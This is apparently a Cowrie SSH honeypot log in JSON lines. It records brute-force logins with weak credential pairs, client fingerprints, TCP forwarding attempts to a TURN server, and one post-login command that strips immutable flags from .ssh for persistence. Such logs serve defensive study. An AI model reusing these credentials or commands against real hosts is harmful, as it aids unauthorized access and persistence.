{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:15.082942Z","src_ip":"167.172.120.246","session":"7eb097ecece4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:15.369953Z","src_ip":"167.172.120.246","session":"7eb097ecece4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.436793Z","src_ip":"167.172.120.246","session":"7eb097ecece4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.120.246","src_port":15326,"dst_ip":"10.17.0.5","dst_port":22,"session":"418924909c57","protocol":"ssh","message":"New connection: 167.172.120.246:15326 (10.17.0.5:22) [session: 418924909c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.495470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.500021Z","src_ip":"167.172.120.246","session":"418924909c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.565816Z","src_ip":"167.172.120.246","session":"418924909c57","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.855042Z","src_ip":"167.172.120.246","session":"418924909c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.922081Z","src_ip":"167.172.120.246","session":"418924909c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:16.928586Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47678,"dst_ip":"10.17.0.5","dst_port":22,"session":"174dc75d1ab9","protocol":"ssh","message":"New connection: 2.57.122.208:47678 (10.17.0.5:22) [session: 174dc75d1ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:49.812163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:49.837707Z","src_ip":"2.57.122.208","session":"174dc75d1ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:49.929874Z","src_ip":"2.57.122.208","session":"174dc75d1ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:50.428430Z","src_ip":"2.57.122.208","session":"174dc75d1ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:51.541685Z","src_ip":"2.57.122.208","session":"174dc75d1ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b58715f2e856","protocol":"ssh","message":"New connection: 45.148.10.121:56698 (10.17.0.5:22) [session: b58715f2e856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:09.474187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:09.478265Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:09.556416Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:09.886249Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:09.979654Z","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.058943Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.062375Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.139672Z","src_ip":"45.148.10.121","session":"b58715f2e856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56704,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2114ab17b5","protocol":"ssh","message":"New connection: 45.148.10.121:56704 (10.17.0.5:22) [session: 6a2114ab17b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.221408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.225750Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.305442Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.547073Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.629036Z","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.709658Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.713149Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:59:10.796284Z","src_ip":"45.148.10.121","session":"6a2114ab17b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23a5ec15f24","protocol":"ssh","message":"New connection: 2.57.122.208:37034 (10.17.0.5:22) [session: d23a5ec15f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:00:56.233440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:00:56.242233Z","src_ip":"2.57.122.208","session":"d23a5ec15f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:00:56.333390Z","src_ip":"2.57.122.208","session":"d23a5ec15f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:00:56.758769Z","src_ip":"2.57.122.208","session":"d23a5ec15f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:00:57.857628Z","src_ip":"2.57.122.208","session":"d23a5ec15f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.76","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3006cc679bf","protocol":"ssh","message":"New connection: 210.79.191.76:41956 (10.17.0.5:22) [session: e3006cc679bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:23.058612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:23.066250Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:23.314232Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abc123@abc","message":"login attempt [root/abc123@abc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:24.335022Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:24.869496Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:24.872622Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:24.876084Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:25.126057Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:01:25.654624Z","src_ip":"210.79.191.76","session":"e3006cc679bf","protocol":"ssh"}
